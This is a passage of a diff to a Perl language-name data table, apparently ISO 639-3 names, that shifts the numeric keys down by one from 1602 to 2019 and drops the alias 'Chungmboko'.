       q(Biyo),
       ],
-   q(1603) => [
+   q(1602) => [
       q(Bumaji),
       ],
-   q(1604) => [
+   q(1603) => [
       q(Basay),
       ],
-   q(1605) => [
+   q(1604) => [
       q(Baruya),
       q(Yipma),
       ],
-   q(1606) => [
+   q(1605) => [
       q(Burak),
       ],
-   q(1607) => [
+   q(1606) => [
       q(Berti),
       ],
-   q(1608) => [
+   q(1607) => [
       q(Medumba),
       ],
-   q(1609) => [
+   q(1608) => [
       q(Belhariya),
       ],
-   q(1610) => [
+   q(1609) => [
       q(Qaqet),
       ],
-   q(1611) => [
+   q(1610) => [
       q(Banaro),
       ],
-   q(1612) => [
+   q(1611) => [
       q(Bandi),
       ],
-   q(1613) => [
+   q(1612) => [
       q(Andio),
       ],
-   q(1614) => [
+   q(1613) => [
       q(Southern Betsimisaraka Malagasy),
       ],
-   q(1615) => [
+   q(1614) => [
       q(Bribri),
       ],
-   q(1616) => [
+   q(1615) => [
       q(Jenaama Bozo),
       ],
-   q(1617) => [
+   q(1616) => [
       q(Boikin),
       ],
-   q(1618) => [
+   q(1617) => [
       q(Babuza),
       ],
-   q(1619) => [
+   q(1618) => [
       q(Mapos Buang),
       ],
-   q(1620) => [
+   q(1619) => [
       q(Bisu),
       ],
-   q(1621) => [
+   q(1620) => [
       q(Belize Kriol English),
       ],
-   q(1622) => [
+   q(1621) => [
       q(Nicaragua Creole English),
       ],
-   q(1623) => [
+   q(1622) => [
       q(Boano (Sulawesi)),
       ],
-   q(1624) => [
+   q(1623) => [
       q(Bolondo),
       ],
-   q(1625) => [
+   q(1624) => [
       q(Boano (Maluku)),
       ],
-   q(1626) => [
+   q(1625) => [
       q(Bozaba),
       ],
-   q(1627) => [
+   q(1626) => [
       q(Kemberano),
       ],
-   q(1628) => [
+   q(1627) => [
       q(Buli (Indonesia)),
       ],
-   q(1629) => [
+   q(1628) => [
       q(Biri),
       ],
-   q(1630) => [
+   q(1629) => [
       q(Brazilian Sign Language),
       ],
-   q(1631) => [
+   q(1630) => [
       q(Brithenig),
       ],
-   q(1632) => [
+   q(1631) => [
       q(Burmeso),
       ],
-   q(1633) => [
+   q(1632) => [
       q(Naami),
       ],
-   q(1634) => [
+   q(1633) => [
       q(Basa (Nigeria)),
       ],
-   q(1635) => [
+   q(1634) => [
       q(Kelengazxo Bozo),
       ],
-   q(1636) => [
+   q(1635) => [
       q(Obanliku),
       ],
-   q(1637) => [
+   q(1636) => [
       q(Evant),
       ],
-   q(1638) => [
+   q(1637) => [
       q(Chorti),
       ],
-   q(1639) => [
+   q(1638) => [
       q(Garifuna),
       ],
-   q(1640) => [
+   q(1639) => [
       q(Chuj),
       ],
-   q(1641) => [
+   q(1640) => [
       q(Lehar),
       q(Laalaa),
       ],
-   q(1642) => [
+   q(1641) => [
       q(Southern Carrier),
       ],
-   q(1643) => [
+   q(1642) => [
       q(Nivacle),
       ],
-   q(1644) => [
+   q(1643) => [
       q(Cahuarano),
       ],
-   q(1645) => [
+   q(1644) => [
       q(Chane),
       ],
-   q(1646) => [
+   q(1645) => [
       q(Kaqchikel),
       q(Cakchiquel),
       ],
-   q(1647) => [
+   q(1646) => [
       q(Carolinian),
       ],
-   q(1648) => [
+   q(1647) => [
       q(Cemuhi),
       ],
-   q(1649) => [
+   q(1648) => [
       q(Chambri),
       ],
-   q(1650) => [
+   q(1649) => [
       q(Chacobo),
       ],
-   q(1651) => [
+   q(1650) => [
       q(Chipaya),
       ],
-   q(1652) => [
+   q(1651) => [
       q(Car Nicobarese),
       ],
-   q(1653) => [
+   q(1652) => [
       q(Tsimane),
       ],
-   q(1654) => [
+   q(1653) => [
       q(Cavinena),
       ],
-   q(1655) => [
+   q(1654) => [
       q(Callawalla),
       ],
-   q(1656) => [
+   q(1655) => [
       q(Chiquitano),
       ],
-   q(1657) => [
+   q(1656) => [
       q(Cayuga),
       ],
-   q(1658) => [
+   q(1657) => [
       q(Canichana),
       ],
-   q(1659) => [
+   q(1658) => [
       q(Cabiyari),
       ],
-   q(1660) => [
+   q(1659) => [
       q(Carapana),
       ],
-   q(1661) => [
+   q(1660) => [
       q(Carijona),
       ],
-   q(1662) => [
+   q(1661) => [
       q(Chimila),
       ],
-   q(1663) => [
+   q(1662) => [
       q(Chachi),
       ],
-   q(1664) => [
+   q(1663) => [
       q(Ede Cabe),
       ],
-   q(1665) => [
+   q(1664) => [
       q(Chavacano),
       ],
-   q(1666) => [
+   q(1665) => [
       q(Bualkhaw Chin),
       ],
-   q(1667) => [
+   q(1666) => [
       q(Nyahkur),
       ],
-   q(1668) => [
+   q(1667) => [
       q(Izora),
       ],
-   q(1669) => [
+   q(1668) => [
       q(Tsucuba),
       q(Cuba),
       ],
-   q(1670) => [
+   q(1669) => [
       q(Cashibo-Cacataibo),
       ],
-   q(1671) => [
+   q(1670) => [
       q(Cashinahua),
       ],
-   q(1672) => [
+   q(1671) => [
       q(Chayahuita),
       ],
-   q(1673) => [
+   q(1672) => [
       q(Candoshi-Shapra),
       ],
-   q(1674) => [
+   q(1673) => [
       q(Cacua),
       ],
-   q(1675) => [
+   q(1674) => [
       q(Kinabalian),
       ],
-   q(1676) => [
+   q(1675) => [
       q(Carabayo),
       ],
-   q(1677) => [
+   q(1676) => [
       q(Cauca),
       ],
-   q(1678) => [
+   q(1677) => [
       q(Chamicuro),
       ],
-   q(1679) => [
+   q(1678) => [
       q(Cafundo Creole),
       ],
-   q(1680) => [
+   q(1679) => [
       q(Chopi),
       ],
-   q(1681) => [
+   q(1680) => [
       q(Samba Daka),
       ],
-   q(1682) => [
+   q(1681) => [
       q(Atsam),
       ],
-   q(1683) => [
+   q(1682) => [
       q(Kasanga),
       ],
-   q(1684) => [
+   q(1683) => [
       q(Cutchi-Swahili),
       ],
-   q(1685) => [
+   q(1684) => [
       q(Malaccan Creole Malay),
       ],
-   q(1686) => [
+   q(1685) => [
       q(Comaltepec Chinantec),
       ],
-   q(1687) => [
+   q(1686) => [
       q(Chakma),
       ],
-   q(1688) => [
+   q(1687) => [
       q(Cacaopera),
       ],
-   q(1689) => [
+   q(1688) => [
       q(Choni),
       ],
-   q(1690) => [
+   q(1689) => [
       q(Chenchu),
       ],
-   q(1691) => [
+   q(1690) => [
       q(Chiru),
       ],
-   q(1692) => [
+   q(1691) => [
       q(Chamari),
       ],
-   q(1693) => [
+   q(1692) => [
       q(Chambeali),
       ],
-   q(1694) => [
+   q(1693) => [
       q(Chodri),
       ],
-   q(1695) => [
+   q(1694) => [
       q(Churahi),
       ],
-   q(1696) => [
+   q(1695) => [
       q(Chepang),
       ],
-   q(1697) => [
+   q(1696) => [
       q(Chaudangsi),
       ],
-   q(1698) => [
+   q(1697) => [
       q(Min Dong Chinese),
       ],
-   q(1699) => [
+   q(1698) => [
       q(Cinda-Regi-Tiyal),
       ],
-   q(1700) => [
+   q(1699) => [
       q(Chadian Sign Language),
       ],
-   q(1701) => [
+   q(1700) => [
       q(Chadong),
       ],
-   q(1702) => [
+   q(1701) => [
       q(Koda),
       ],
-   q(1703) => [
+   q(1702) => [
       q(Lower Chehalis),
       ],
-   q(1704) => [
+   q(1703) => [
       q(Chamacoco),
       ],
-   q(1705) => [
+   q(1704) => [
       q(Eastern Khumi Chin),
       ],
-   q(1706) => [
+   q(1705) => [
       q(Cen),
       ],
-   q(1707) => [
+   q(1706) => [
       q(Centuum),
       ],
-   q(1708) => [
+   q(1707) => [
       q(Dijim-Bwilim),
       ],
-   q(1709) => [
+   q(1708) => [
       q(Cara),
       ],
-   q(1710) => [
+   q(1709) => [
       q(Como Karim),
       ],
-   q(1711) => [
+   q(1710) => [
       q(Falam Chin),
       ],
-   q(1712) => [
+   q(1711) => [
       q(Changriwa),
       ],
-   q(1713) => [
+   q(1712) => [
       q(Kagayanen),
       ],
-   q(1714) => [
+   q(1713) => [
       q(Chiga),
       ],
-   q(1715) => [
+   q(1714) => [
       q(Chocangacakha),
       ],
-   q(1716) => [
+   q(1715) => [
       q(Catawba),
       ],
-   q(1717) => [
+   q(1716) => [
       q(Highland Oaxaca Chontal),
       ],
-   q(1718) => [
+   q(1717) => [
       q(Tabasco Chontal),
       ],
-   q(1719) => [
+   q(1718) => [
       q(Chinook),
       ],
-   q(1720) => [
+   q(1719) => [
       q(Ojitlan Chinantec),
       ],
-   q(1721) => [
+   q(1720) => [
       q(Cahuilla),
       ],
-   q(1722) => [
+   q(1721) => [
       q(Quiotepec Chinantec),
       ],
-   q(1723) => [
+   q(1722) => [
       q(Cholon),
       ],
-   q(1724) => [
+   q(1723) => [
       q(Chuwabu),
       ],
-   q(1725) => [
+   q(1724) => [
       q(Chantyal),
       ],
-   q(1726) => [
+   q(1725) => [
       q(Ozumacin Chinantec),
       ],
-   q(1727) => [
+   q(1726) => [
       q(Cia-Cia),
       ],
-   q(1728) => [
+   q(1727) => [
       q(Ci Gbe),
       ],
-   q(1729) => [
+   q(1728) => [
       q(Chickasaw),
       ],
-   q(1730) => [
+   q(1729) => [
       q(Chimariko),
       ],
-   q(1731) => [
+   q(1730) => [
       q(Cineni),
       ],
-   q(1732) => [
+   q(1731) => [
       q(Chinali),
       ],
-   q(1733) => [
+   q(1732) => [
       q(Chitkuli Kinnauri),
       ],
-   q(1734) => [
+   q(1733) => [
       q(Cimbrian),
       ],
-   q(1735) => [
+   q(1734) => [
       q(Cinta Larga),
       ],
-   q(1736) => [
+   q(1735) => [
       q(Chiapanec),
       ],
-   q(1737) => [
+   q(1736) => [
       q(Tiri),
       q(Hamea),
       q(Mea),
       ],
-   q(1738) => [
+   q(1737) => [
       q(Chippewa),
       ],
-   q(1739) => [
+   q(1738) => [
       q(Chaima),
       ],
-   q(1740) => [
+   q(1739) => [
       q(Western Cham),
       ],
-   q(1741) => [
+   q(1740) => [
       q(Chru),
       ],
-   q(1742) => [
+   q(1741) => [
       q(Upper Chehalis),
       ],
-   q(1743) => [
+   q(1742) => [
       q(Chamalal),
       ],
-   q(1744) => [
+   q(1743) => [
       q(Chokwe),
       ],
-   q(1745) => [
+   q(1744) => [
       q(Eastern Cham),
       ],
-   q(1746) => [
+   q(1745) => [
       q(Chenapian),
       ],
-   q(1747) => [
+   q(1746) => [
       q(Asheninka Pajonal),
       ],
-   q(1748) => [
+   q(1747) => [
       q(Cabecar),
       ],
-   q(1749) => [
+   q(1748) => [
       q(Shor),
       ],
-   q(1750) => [
+   q(1749) => [
       q(Chuave),
       ],
-   q(1751) => [
+   q(1750) => [
       q(Jinyu Chinese),
       ],
-   q(1752) => [
+   q(1751) => [
       q(Central Kurdish),
       ],
-   q(1753) => [
+   q(1752) => [
       q(Chak),
       ],
-   q(1754) => [
+   q(1753) => [
       q(Cibak),
       ],
-   q(1755) => [
+   q(1754) => [
       q(Kaang Chin),
       ],
-   q(1756) => [
+   q(1755) => [
       q(Anufo),
       ],
-   q(1757) => [
+   q(1756) => [
       q(Kajakse),
       ],
-   q(1758) => [
+   q(1757) => [
       q(Kairak),
       ],
-   q(1759) => [
+   q(1758) => [
       q(Tayo),
       ],
-   q(1760) => [
+   q(1759) => [
       q(Chukot),
       ],
-   q(1761) => [
+   q(1760) => [
       q(Koasati),
       ],
-   q(1762) => [
+   q(1761) => [
       q(Kavalan),
       ],
-   q(1763) => [
+   q(1762) => [
       q(Caka),
       ],
-   q(1764) => [
+   q(1763) => [
       q(Cakfem-Mushere),
       ],
-   q(1765) => [
+   q(1764) => [
       q(Cakchiquel-Quiche Mixed Language),
       ],
-   q(1766) => [
+   q(1765) => [
       q(Ron),
       ],
-   q(1767) => [
+   q(1766) => [
       q(Chilcotin),
       ],
-   q(1768) => [
+   q(1767) => [
       q(Chaldean Neo-Aramaic),
       ],
-   q(1769) => [
+   q(1768) => [
       q(Lealao Chinantec),
       ],
-   q(1770) => [
+   q(1769) => [
       q(Chilisso),
       ],
-   q(1771) => [
+   q(1770) => [
       q(Chakali),
       ],
-   q(1772) => [
+   q(1771) => [
       q(Laitu Chin),
       ],
-   q(1773) => [
+   q(1772) => [
       q(Idu-Mishmi),
       ],
-   q(1774) => [
+   q(1773) => [
       q(Chala),
       ],
-   q(1775) => [
+   q(1774) => [
       q(Clallam),
       ],
-   q(1776) => [
+   q(1775) => [
       q(Lowland Oaxaca Chontal),
       ],
-   q(1777) => [
+   q(1776) => [
       q(Lautu Chin),
       ],
-   q(1778) => [
+   q(1777) => [
       q(Caluyanun),
       ],
-   q(1779) => [
+   q(1778) => [
       q(Chulym),
       ],
-   q(1780) => [
+   q(1779) => [
       q(Eastern Highland Chatino),
       ],
-   q(1781) => [
+   q(1780) => [
       q(Maa),
       ],
-   q(1782) => [
+   q(1781) => [
       q(Cerma),
       ],
-   q(1783) => [
+   q(1782) => [
       q(Classical Mongolian),
       ],
-   q(1784) => [
+   q(1783) => [
       q(Embera-Chami),
       ],
-   q(1785) => [
+   q(1784) => [
       q(Campalagian),
       ],
-   q(1786) => [
+   q(1785) => [
       q(Michigamea),
       ],
-   q(1787) => [
+   q(1786) => [
       q(Mandarin Chinese),
       ],
-   q(1788) => [
+   q(1787) => [
       q(Central Mnong),
       ],
-   q(1789) => [
+   q(1788) => [
       q(Mro-Khimi Chin),
       ],
-   q(1790) => [
+   q(1789) => [
       q(Messapic),
       ],
-   q(1791) => [
+   q(1790) => [
       q(Camtho),
       ],
-   q(1792) => [
+   q(1791) => [
       q(Changthang),
       ],
-   q(1793) => [
+   q(1792) => [
       q(Chinbon Chin),
       ],
-   q(1794) => [
+   q(1793) => [
       q(Coong),
       ],
-   q(1795) => [
+   q(1794) => [
       q(Northern Qiang),
       ],
-   q(1796) => [
+   q(1795) => [
       q(Hakha Chin),
       q(Haka Chin),
       ],
-   q(1797) => [
+   q(1796) => [
       q(Ashaninka),
       ],
-   q(1798) => [
+   q(1797) => [
       q(Khumi Chin),
       ],
-   q(1799) => [
+   q(1798) => [
       q(Lalana Chinantec),
       ],
-   q(1800) => [
+   q(1799) => [
       q(Con),
       ],
-   q(1801) => [
+   q(1800) => [
       q(Central Asmat),
       ],
-   q(1802) => [
+   q(1801) => [
       q(Tepetotutla Chinantec),
       ],
-   q(1803) => [
+   q(1802) => [
       q(Chenoua),
       ],
-   q(1804) => [
+   q(1803) => [
       q(Ngawn Chin),
       ],
-   q(1805) => [
+   q(1804) => [
       q(Middle Cornish),
       ],
-   q(1806) => [
+   q(1805) => [
       q(Cocos Islands Malay),
       ],
-   q(1807) => [
+   q(1806) => [
       q(Chicomuceltec),
       ],
-   q(1808) => [
+   q(1807) => [
       q(Cocopa),
       ],
-   q(1809) => [
+   q(1808) => [
       q(Cocama-Cocamilla),
       ],
-   q(1810) => [
+   q(1809) => [
       q(Koreguaje),
       ],
-   q(1811) => [
+   q(1810) => [
       q(Colorado),
       ],
-   q(1812) => [
+   q(1811) => [
       q(Chong),
       ],
-   q(1813) => [
+   q(1812) => [
       q(Chonyi-Dzihana-Kauma),
       q(Chichonyi-Chidzihana-Chikauma),
       ],
-   q(1814) => [
+   q(1813) => [
       q(Cochimi),
       ],
-   q(1815) => [
+   q(1814) => [
       q(Santa Teresa Cora),
       ],
-   q(1816) => [
+   q(1815) => [
       q(Columbia-Wenatchi),
       ],
-   q(1817) => [
+   q(1816) => [
       q(Comanche),
       ],
-   q(1818) => [
+   q(1817) => [
       q(Cofan),
       ],
-   q(1819) => [
+   q(1818) => [
       q(Comox),
       ],
-   q(1820) => [
+   q(1819) => [
       q(Coquille),
       ],
-   q(1821) => [
+   q(1820) => [
       q(Caquinte),
       ],
-   q(1822) => [
+   q(1821) => [
       q(Wamey),
       ],
-   q(1823) => [
+   q(1822) => [
       q(Cao Miao),
       ],
-   q(1824) => [
+   q(1823) => [
       q(Cowlitz),
       ],
-   q(1825) => [
+   q(1824) => [
       q(Nanti),
       ],
-   q(1826) => [
+   q(1825) => [
       q(Chochotec),
       ],
-   q(1827) => [
+   q(1826) => [
       q(Palantla Chinantec),
       ],
-   q(1828) => [
+   q(1827) => [
       q(Ucayali-Yurua Asheninka),
       ],
-   q(1829) => [
+   q(1828) => [
       q(Ajyininka Apurucayali),
       ],
-   q(1830) => [
+   q(1829) => [
       q(Cappadocian Greek),
       ],
-   q(1831) => [
+   q(1830) => [
       q(Chinese Pidgin English),
       ],
-   q(1832) => [
+   q(1831) => [
       q(Cherepon),
       ],
-   q(1833) => [
+   q(1832) => [
       q(Kpeego),
       ],
-   q(1834) => [
+   q(1833) => [
       q(Capiznon),
       ],
-   q(1835) => [
+   q(1834) => [
       q(Pichis Asheninka),
       ],
-   q(1836) => [
+   q(1835) => [
       q(Pu-Xian Chinese),
       ],
-   q(1837) => [
+   q(1836) => [
       q(South Ucayali Asheninka),
       ],
-   q(1838) => [
+   q(1837) => [
       q(Chuanqiandian Cluster Miao),
       ],
-   q(1839) => [
+   q(1838) => [
       q(Chara),
       ],
-   q(1840) => [
+   q(1839) => [
       q(Island Carib),
       ],
-   q(1841) => [
+   q(1840) => [
       q(Lonwolwol),
       ],
-   q(1842) => [
+   q(1841) => [
       q(Coeur d'Alene),
       ],
-   q(1843) => [
+   q(1842) => [
       q(Caramanta),
       ],
-   q(1844) => [
+   q(1843) => [
       q(Michif),
       ],
-   q(1845) => [
+   q(1844) => [
       q(Saotomense),
       ],
-   q(1846) => [
+   q(1845) => [
       q(Southern East Cree),
       ],
-   q(1847) => [
+   q(1846) => [
       q(Plains Cree),
       ],
-   q(1848) => [
+   q(1847) => [
       q(Northern East Cree),
       ],
-   q(1849) => [
+   q(1848) => [
       q(Moose Cree),
       ],
-   q(1850) => [
+   q(1849) => [
       q(El Nayar Cora),
       ],
-   q(1851) => [
+   q(1850) => [
       q(Crow),
       ],
-   q(1852) => [
+   q(1851) => [
       q(Iyo'wujwa Chorote),
       ],
-   q(1853) => [
+   q(1852) => [
       q(Carolina Algonquian),
       ],
-   q(1854) => [
+   q(1853) => [
       q(Seselwa Creole French),
       ],
-   q(1855) => [
+   q(1854) => [
       q(Iyojwa'ja Chorote),
       ],
-   q(1856) => [
+   q(1855) => [
       q(Chaura),
       ],
-   q(1857) => [
+   q(1856) => [
       q(Chrau),
       ],
-   q(1858) => [
+   q(1857) => [
       q(Carrier),
       ],
-   q(1859) => [
+   q(1858) => [
       q(Cori),
       ],
-   q(1860) => [
+   q(1859) => [
       q(Cruzeno),
       ],
-   q(1861) => [
+   q(1860) => [
       q(Chiltepec Chinantec),
       ],
-   q(1862) => [
+   q(1861) => [
       q(Catalan Sign Language),
       q(Lengua de senas catalana),
       q(Llengua de Signes Catalana),
       ],
-   q(1863) => [
+   q(1862) => [
       q(Chiangmai Sign Language),
       ],
-   q(1864) => [
+   q(1863) => [
       q(Czech Sign Language),
       ],
-   q(1865) => [
+   q(1864) => [
       q(Cuba Sign Language),
       ],
-   q(1866) => [
+   q(1865) => [
       q(Chilean Sign Language),
       ],
-   q(1867) => [
+   q(1866) => [
       q(Asho Chin),
       ],
-   q(1868) => [
+   q(1867) => [
       q(Coast Miwok),
       ],
-   q(1869) => [
+   q(1868) => [
       q(Songlai Chin),
       ],
-   q(1870) => [
+   q(1869) => [
       q(Jola-Kasa),
       ],
-   q(1871) => [
+   q(1870) => [
       q(Chinese Sign Language),
       ],
-   q(1872) => [
+   q(1871) => [
       q(Central Sierra Miwok),
       ],
-   q(1873) => [
+   q(1872) => [
       q(Colombian Sign Language),
       ],
-   q(1874) => [
+   q(1873) => [
       q(Sochiapam Chinantec),
       q(Sochiapan Chinantec),
       ],
-   q(1875) => [
+   q(1874) => [
       q(Croatia Sign Language),
       ],
-   q(1876) => [
+   q(1875) => [
       q(Costa Rican Sign Language),
       ],
-   q(1877) => [
+   q(1876) => [
       q(Southern Ohlone),
       ],
-   q(1878) => [
+   q(1877) => [
       q(Northern Ohlone),
       ],
-   q(1879) => [
+   q(1878) => [
       q(Sumtu Chin),
       ],
-   q(1880) => [
+   q(1879) => [
       q(Swampy Cree),
       ],
-   q(1881) => [
+   q(1880) => [
       q(Siyin Chin),
       ],
-   q(1882) => [
+   q(1881) => [
       q(Coos),
       ],
-   q(1883) => [
+   q(1882) => [
       q(Tataltepec Chatino),
       ],
-   q(1884) => [
+   q(1883) => [
       q(Chetco),
       ],
-   q(1885) => [
+   q(1884) => [
       q(Tedim Chin),
       ],
-   q(1886) => [
+   q(1885) => [
       q(Tepinapa Chinantec),
       ],
-   q(1887) => [
+   q(1886) => [
       q(Chittagonian),
       ],
-   q(1888) => [
+   q(1887) => [
       q(Thaiphum Chin),
       ],
-   q(1889) => [
+   q(1888) => [
       q(Tlacoatzintepec Chinantec),
       ],
-   q(1890) => [
+   q(1889) => [
       q(Chitimacha),
       ],
-   q(1891) => [
+   q(1890) => [
       q(Chhintange),
       ],
-   q(1892) => [
+   q(1891) => [
       q(Embera-Catio),
       ],
-   q(1893) => [
+   q(1892) => [
       q(Western Highland Chatino),
       ],
-   q(1894) => [
+   q(1893) => [
       q(Northern Catanduanes Bikol),
       ],
-   q(1895) => [
+   q(1894) => [
       q(Wayanad Chetti),
       ],
-   q(1896) => [
+   q(1895) => [
       q(Chol),
       ],
-   q(1897) => [
+   q(1896) => [
       q(Zacatepec Chatino),
       ],
-   q(1898) => [
+   q(1897) => [
       q(Cua),
       ],
-   q(1899) => [
+   q(1898) => [
       q(Cubeo),
       ],
-   q(1900) => [
+   q(1899) => [
       q(Usila Chinantec),
       ],
-   q(1901) => [
-      q(Chungmboko),
+   q(1900) => [
       q(Cung),
       ],
-   q(1902) => [
+   q(1901) => [
       q(Chuka),
       q(Gichuka),
       ],
-   q(1903) => [
+   q(1902) => [
       q(Cuiba),
       ],
-   q(1904) => [
+   q(1903) => [
       q(Mashco Piro),
       ],
-   q(1905) => [
+   q(1904) => [
       q(San Blas Kuna),
       ],
-   q(1906) => [
+   q(1905) => [
       q(Culina),
       q(Kulina),
       ],
-   q(1907) => [
+   q(1906) => [
       q(Cumanagoto),
       ],
-   q(1908) => [
+   q(1907) => [
       q(Cupeno),
       ],
-   q(1909) => [
+   q(1908) => [
       q(Cun),
       ],
-   q(1910) => [
+   q(1909) => [
       q(Chhulung),
       ],
-   q(1911) => [
+   q(1910) => [
       q(Teutila Cuicatec),
       ],
-   q(1912) => [
+   q(1911) => [
       q(Tai Ya),
       ],
-   q(1913) => [
+   q(1912) => [
       q(Cuvok),
       ],
-   q(1914) => [
+   q(1913) => [
       q(Chukwa),
       ],
-   q(1915) => [
+   q(1914) => [
       q(Tepeuxila Cuicatec),
       ],
-   q(1916) => [
+   q(1915) => [
       q(Chug),
       ],
-   q(1917) => [
+   q(1916) => [
       q(Valle Nacional Chinantec),
       ],
-   q(1918) => [
+   q(1917) => [
       q(Kabwa),
       ],
-   q(1919) => [
+   q(1918) => [
       q(Maindo),
       ],
-   q(1920) => [
+   q(1919) => [
       q(Woods Cree),
       ],
-   q(1921) => [
+   q(1920) => [
       q(Kwere),
       ],
-   q(1922) => [
+   q(1921) => [
       q(Chewong),
       q(Cheq Wong),
       ],
-   q(1923) => [
+   q(1922) => [
       q(Kuwaataay),
       ],
-   q(1924) => [
+   q(1923) => [
       q(Nopala Chatino),
       ],
-   q(1925) => [
+   q(1924) => [
       q(Cayubaba),
       ],
-   q(1926) => [
+   q(1925) => [
       q(Cuyonon),
       ],
-   q(1927) => [
+   q(1926) => [
       q(Huizhou Chinese),
       ],
-   q(1928) => [
+   q(1927) => [
       q(Knaanic),
       ],
-   q(1929) => [
+   q(1928) => [
       q(Zenzontepec Chatino),
       ],
-   q(1930) => [
+   q(1929) => [
       q(Min Zhong Chinese),
       ],
-   q(1931) => [
+   q(1930) => [
       q(Zotung Chin),
       ],
-   q(1932) => [
+   q(1931) => [
       q(Dangaleat),
       ],
-   q(1933) => [
+   q(1932) => [
       q(Dambi),
       ],
-   q(1934) => [
+   q(1933) => [
       q(Marik),
       ],
-   q(1935) => [
+   q(1934) => [
       q(Duupa),
       ],
-   q(1936) => [
+   q(1935) => [
       q(Dagbani),
       ],
-   q(1937) => [
+   q(1936) => [
       q(Gwahatike),
       ],
-   q(1938) => [
+   q(1937) => [
       q(Day),
       ],
-   q(1939) => [
+   q(1938) => [
       q(Dar Fur Daju),
       ],
-   q(1940) => [
+   q(1939) => [
       q(Dahalo),
       ],
-   q(1941) => [
+   q(1940) => [
       q(Damakawa),
       ],
-   q(1942) => [
+   q(1941) => [
       q(Daai Chin),
       ],
-   q(1943) => [
+   q(1942) => [
       q(Dandami Maria),
       ],
-   q(1944) => [
+   q(1943) => [
       q(Daho-Doo),
       ],
-   q(1945) => [
+   q(1944) => [
       q(Dar Sila Daju),
       ],
-   q(1946) => [
+   q(1945) => [
       q(Taita),
       q(Dawida),
       ],
-   q(1947) => [
+   q(1946) => [
       q(Davawenyo),
       ],
-   q(1948) => [
+   q(1947) => [
       q(Dayi),
       ],
-   q(1949) => [
+   q(1948) => [
       q(Dao),
       ],
-   q(1950) => [
+   q(1949) => [
       q(Bangime),
       ],
-   q(1951) => [
+   q(1950) => [
       q(Deno),
       ],
-   q(1952) => [
+   q(1951) => [
       q(Dadiya),
       ],
-   q(1953) => [
+   q(1952) => [
       q(Dabe),
       ],
-   q(1954) => [
+   q(1953) => [
       q(Edopi),
       ],
-   q(1955) => [
+   q(1954) => [
       q(Dogul Dom Dogon),
       ],
-   q(1956) => [
+   q(1955) => [
       q(Doka),
       ],
-   q(1957) => [
+   q(1956) => [
       q(Ida'an),
       ],
-   q(1958) => [
+   q(1957) => [
       q(Dyirbal),
       ],
-   q(1959) => [
+   q(1958) => [
       q(Duguri),
       ],
-   q(1960) => [
+   q(1959) => [
       q(Duriankere),
       ],
-   q(1961) => [
+   q(1960) => [
       q(Dulbu),
       ],
-   q(1962) => [
+   q(1961) => [
       q(Duwai),
       ],
-   q(1963) => [
+   q(1962) => [
       q(Daba),
       ],
-   q(1964) => [
+   q(1963) => [
       q(Dabarre),
       ],
-   q(1965) => [
+   q(1964) => [
       q(Ben Tey Dogon),
       ],
-   q(1966) => [
+   q(1965) => [
       q(Bondum Dom Dogon),
       ],
-   q(1967) => [
+   q(1966) => [
       q(Dungu),
       ],
-   q(1968) => [
+   q(1967) => [
       q(Bankan Tey Dogon),
       ],
-   q(1969) => [
+   q(1968) => [
       q(Dibiyaso),
       ],
-   q(1970) => [
+   q(1969) => [
       q(Deccan),
       ],
-   q(1971) => [
+   q(1970) => [
       q(Negerhollands),
       ],
-   q(1972) => [
+   q(1971) => [
       q(Dadi Dadi),
       ],
-   q(1973) => [
+   q(1972) => [
       q(Dongotono),
       ],
-   q(1974) => [
+   q(1973) => [
       q(Doondo),
       ],
-   q(1975) => [
+   q(1974) => [
       q(Fataluku),
       ],
-   q(1976) => [
+   q(1975) => [
       q(West Goodenough),
       ],
-   q(1977) => [
+   q(1976) => [
       q(Jaru),
       ],
-   q(1978) => [
+   q(1977) => [
       q(Dendi (Benin)),
       ],
-   q(1979) => [
+   q(1978) => [
       q(Dido),
       ],
-   q(1980) => [
+   q(1979) => [
       q(Dhudhuroa),
       ],
-   q(1981) => [
+   q(1980) => [
       q(Donno So Dogon),
       ],
-   q(1982) => [
+   q(1981) => [
       q(Dawera-Daweloor),
       ],
-   q(1983) => [
+   q(1982) => [
       q(Dagik),
       ],
-   q(1984) => [
+   q(1983) => [
       q(Dedua),
       ],
-   q(1985) => [
+   q(1984) => [
       q(Dewoin),
       ],
-   q(1986) => [
+   q(1985) => [
       q(Dezfuli),
       ],
-   q(1987) => [
+   q(1986) => [
       q(Degema),
       ],
-   q(1988) => [
+   q(1987) => [
       q(Dehwari),
       ],
-   q(1989) => [
+   q(1988) => [
       q(Demisa),
       ],
-   q(1990) => [
+   q(1989) => [
       q(Dek),
       ],
-   q(1991) => [
+   q(1990) => [
       q(Dem),
       ],
-   q(1992) => [
+   q(1991) => [
       q(Pidgin Delaware),
       ],
-   q(1993) => [
+   q(1992) => [
       q(Dendi (Central African Republic)),
       ],
-   q(1994) => [
+   q(1993) => [
       q(Deori),
       ],
-   q(1995) => [
+   q(1994) => [
       q(Desano),
       ],
-   q(1996) => [
+   q(1995) => [
       q(Domung),
       ],
-   q(1997) => [
+   q(1996) => [
       q(Dengese),
       ],
-   q(1998) => [
+   q(1997) => [
       q(Southern Dagaare),
       ],
-   q(1999) => [
+   q(1998) => [
       q(Bunoge Dogon),
       ],
-   q(2000) => [
+   q(1999) => [
       q(Casiguran Dumagat Agta),
       ],
-   q(2001) => [
+   q(2000) => [
       q(Dagaari Dioula),
       ],
-   q(2002) => [
+   q(2001) => [
       q(Degenan),
       ],
-   q(2003) => [
+   q(2002) => [
       q(Doga),
       ],
-   q(2004) => [
+   q(2003) => [
       q(Dghwede),
       ],
-   q(2005) => [
+   q(2004) => [
       q(Northern Dagara),
       ],
-   q(2006) => [
+   q(2005) => [
       q(Dagba),
       ],
-   q(2007) => [
+   q(2006) => [
       q(Andaandi),
       q(Dongolawi),
       ],
-   q(2008) => [
+   q(2007) => [
       q(Dagoman),
       ],
-   q(2009) => [
+   q(2008) => [
       q(Dogri (individual language)),
       ],
-   q(2010) => [
+   q(2009) => [
       q(Dogoso),
       ],
-   q(2011) => [
+   q(2010) => [
       q(Ndra'ngith),
       ],
-   q(2012) => [
+   q(2011) => [
       q(Degaru),
       ],
-   q(2013) => [
+   q(2012) => [
       q(Daungwurrung),
       ],
-   q(2014) => [
+   q(2013) => [
       q(Doghoro),
       ],
-   q(2015) => [
+   q(2014) => [
       q(Daga),
       ],
-   q(2016) => [
+   q(2015) => [
       q(Dhundari),
       ],
-   q(2017) => [
+   q(2016) => [
       q(Dhangu-Djangu),
       q(Dhangu),
       q(Djangu),
       ],
-   q(2018) => [
+   q(2017) => [
       q(Dhimal),
       ],
-   q(2019) => [
+   q(2018) => [
       q(Dhalandji),
       ],
-   q(2020) => [
+   q(2019) => [
